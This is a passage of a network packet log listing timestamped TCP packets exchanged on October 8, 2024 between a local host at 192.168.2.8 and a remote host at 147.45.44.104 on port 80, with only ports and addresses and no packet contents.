Oct 8, 2024 03:23:04.856435061 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.856447935 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.856493950 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.856529951 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.856539965 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.856558084 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.856568098 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.856584072 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.856589079 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.856610060 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.856633902 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.856643915 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.856653929 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.856700897 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.857108116 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.857187986 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.857316017 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.857362986 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.857428074 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.857438087 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.857459068 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.857470036 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.857477903 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.857491016 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.857502937 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.857527018 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.857558966 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.857570887 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.857588053 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.857599020 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.857614040 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.857619047 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.857656002 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.858127117 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.858200073 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.858221054 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.858232021 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.858251095 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.858261108 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.858275890 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.858279943 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.858294010 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.858308077 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.858319998 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.858340025 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.858347893 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.858381987 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.858396053 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.858409882 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.858422995 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.858458042 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.858478069 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.858481884 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.858505011 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.858505964 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.858545065 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.858586073 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.858597994 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.858614922 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.858627081 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.858639002 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.858688116 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.894501925 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.894515991 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.894587040 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.939213037 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.939229012 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.939248085 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.939312935 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.942516088 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.942549944 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.942560911 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.942619085 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.942630053 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.942631006 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.942655087 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.942666054 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.942682981 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.942723989 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.942750931 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.942751884 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.942795038 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.942804098 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.942857027 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.942912102 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.942966938 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.942982912 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.942992926 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.943022013 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.943032026 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.943054914 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.943054914 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.943064928 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.943109989 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.943110943 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.943125963 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.943136930 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.943146944 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.943156958 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.943176031 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.943197966 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.943260908 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.943332911 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.943346977 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.943356991 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.943403006 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.943406105 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.943414927 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.943433046 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.943454027 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.944112062 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.944120884 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.944139004 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.944163084 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.944190025 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.944200993 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.944201946 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.944220066 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.944231033 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.944243908 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.944247961 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.944272995 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.944278002 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.944284916 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.944302082 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.944328070 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.944329977 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.944364071 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.944369078 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.944413900 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.945291996 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.945302963 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.945341110 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.945415020 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.945425987 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.945446968 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.945467949 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.945596933 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.945640087 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.945647001 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.945660114 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.945678949 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.945720911 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.945769072 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.945790052 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.945800066 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.945813894 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.945816994 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.945832014 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.945848942 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.945858002 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.945858002 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.945878029 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.945888042 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.945905924 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.945907116 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.945918083 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.945929050 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.945964098 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.946129084 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.946158886 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.946171045 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.946197987 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.946237087 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.946249008 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.946265936 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.946279049 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.946285009 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.946297884 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.946312904 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.946322918 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.946347952 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.946351051 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.946362972 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.946379900 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.946391106 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.946403027 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.946428061 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.947042942 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.947053909 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.947073936 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.947099924 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.947122097 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.947133064 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.947134018 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.947153091 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.947171926 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.947182894 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.947184086 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.947206020 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.947221041 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.947222948 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.947231054 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.947247982 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.947252035 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.947263002 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.947284937 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.947309017 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.947309017 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.947320938 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.947336912 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.947357893 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.947742939 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.947784901 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.947786093 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.947798014 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.947815895 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.947829008 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.947843075 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.947871923 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.948045015 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.948056936 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.948076963 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.948124886 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.948147058 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.948168039 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.948182106 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.948189020 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.948195934 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.948235989 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.948240042 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.948251009 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.948273897 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.948283911 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.948302984 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.948306084 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.948333025 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.948343992 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.948344946 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.948364019 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.948373079 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.948406935 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.948441029 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.948574066 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.949028969 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.949040890 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.949060917 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.949074030 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.949110031 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.949120998 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.949135065 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.949148893 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.949155092 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.949168921 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.949184895 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.949229002 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.982698917 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.982712030 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.982729912 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.982738972 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.982757092 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.982767105 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.982784986 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.982795954 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.982803106 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.982886076 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.026235104 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.026247978 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.026266098 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.026293993 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.026304960 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.026310921 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.026328087 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.026335001 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.026341915 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.026360989 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.026388884 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.026407957 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.029171944 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.029278040 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.029289007 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.029304981 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.029316902 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.029329062 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.029335022 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.029351950 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.029366016 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.029386044 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.029405117 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.029802084 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.029834032 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.029844999 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.029874086 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.029891968 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.029901981 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.029918909 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.029932976 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.029942036 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.029948950 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.029980898 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.030000925 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.030015945 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.030026913 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.030064106 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.030066967 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.030075073 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.030092955 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.030142069 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.030148029 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.030164003 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.030177116 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.030190945 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.030191898 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.030236006 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.030987978 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.030998945 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.031014919 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.031023979 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.031035900 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.031056881 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.031169891 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.031213999 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.031229973 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.031239986 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.031277895 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.031311035 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.031321049 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.031337976 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.031387091 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.031407118 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.031418085 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.031428099 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.031441927 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.031450987 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.031492949 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.032370090 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.032381058 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.032397985 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.032422066 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.032449007 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.032453060 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.032461882 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.032480955 CEST	80	49706	147.45.44.104	192.168.2.8
